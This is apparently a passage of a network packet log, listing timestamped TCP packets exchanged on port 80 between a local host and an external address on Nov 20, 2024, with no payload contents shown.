Nov 20, 2024 06:40:20.142201900 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142245054 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.142252922 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142287970 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142318010 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142350912 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142365932 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.142394066 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.142411947 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142462015 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142496109 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142515898 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.142529011 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142561913 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142594099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142612934 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.142632961 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142642975 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.142684937 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142718077 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142749071 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142769098 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.142782927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142802000 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.142819881 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142853022 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142863989 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.142904043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142935991 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.142960072 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.142966986 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143001080 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143049955 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.143052101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143089056 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143121958 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143122911 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.143157005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143171072 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.143191099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143224955 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143259048 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143260002 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.143291950 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143304110 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.143352032 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143387079 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143408060 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.143414974 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143448114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143481016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143492937 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.143513918 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143527031 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.143548965 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143580914 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143615007 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.143621922 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.143659115 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.182595968 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.182662964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.182699919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.182712078 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.182734013 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.182770014 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.182780027 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.182825089 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.182862043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.182874918 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.182895899 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.182929039 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.182941914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.182987928 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183022022 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183037043 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183056116 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183101892 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183106899 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183159113 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183192015 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183203936 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183228970 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183263063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183276892 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183295965 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183346033 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183363914 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183397055 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183432102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183446884 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183465004 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183499098 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183512926 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183552027 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183584929 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183603048 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183618069 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183655977 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183666945 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183687925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183722973 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183734894 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183754921 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183792114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183808088 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183824062 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183872938 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183876991 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183912039 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183945894 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.183959961 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.183979034 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184011936 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184046030 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184062958 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184079885 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184096098 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184113026 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184146881 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184179068 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184186935 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184216976 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184221983 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184267998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184302092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184319019 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184355021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184389114 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184422016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184428930 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184454918 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184461117 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184489965 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184525013 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184552908 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184557915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184592009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184607983 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184626102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184659004 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184674978 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184693098 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184726000 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184739113 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184758902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184792995 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184827089 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184835911 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.184863091 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.184879065 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.187673092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.187701941 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.187725067 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.187752008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.187787056 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.187800884 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.187815905 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.187860012 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.189131975 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.228888035 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.228904963 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.228929996 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.228944063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.228945971 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.228960037 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.228974104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.228981018 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.228990078 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229006052 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229012012 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229021072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229038000 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229053020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229053020 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229068995 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229078054 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229116917 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229155064 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229170084 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229183912 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229197979 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229212046 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229226112 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229237080 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229239941 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229255915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229270935 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229279041 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229286909 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229301929 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229316950 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229317904 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229331017 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229334116 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229346991 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229361057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229376078 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229377031 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229391098 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229393959 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229433060 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229604959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229619980 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229635000 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229649067 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229831934 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229846954 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229861975 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229876041 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229880095 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229892015 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229895115 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229933977 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.229973078 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.229988098 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230003119 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230017900 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230032921 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230034113 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.230047941 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230057955 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.230062962 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230077982 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230086088 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.230093002 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230107069 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230123997 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230130911 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.230153084 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.230268002 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.230313063 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.230755091 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.237291098 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269325018 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269339085 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269354105 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269370079 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269376993 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269387007 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269392967 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269402981 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269419909 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269427061 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269459009 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269491911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269506931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269524097 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269537926 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269550085 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269553900 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269570112 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269584894 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269587994 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269598007 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269599915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269644976 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269685984 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269706011 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269728899 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269750118 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269857883 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269875050 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269891977 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269910097 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.269920111 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.269934893 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270032883 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270049095 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270062923 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270077944 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270078897 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270095110 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270102024 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270109892 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270124912 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270134926 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270139933 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270155907 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270164013 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270170927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270185947 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270199060 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270222902 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270411968 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270437002 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270452976 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270467997 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270479918 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270483971 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270498991 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270507097 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270514965 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270529985 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270543098 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270546913 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270562887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270581961 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270611048 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270809889 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270824909 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270839930 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270853996 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270858049 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270869017 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270883083 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270898104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270905018 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270912886 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270925045 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270927906 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270942926 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270951033 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.270960093 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.270982981 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.271001101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.271014929 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.271030903 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.271042109 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.271074057 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.271212101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.271226883 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.271241903 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.271264076 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.271267891 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.271282911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.271298885 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.271306038 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.271322966 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.271347046 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.284035921 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.315685034 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.315701962 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.315716028 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.315740108 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.315766096 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:20.315980911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.315994978 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316009998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316025019 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:20.316037893 CET	49713	80	192.168.2.5	185.215.113.16
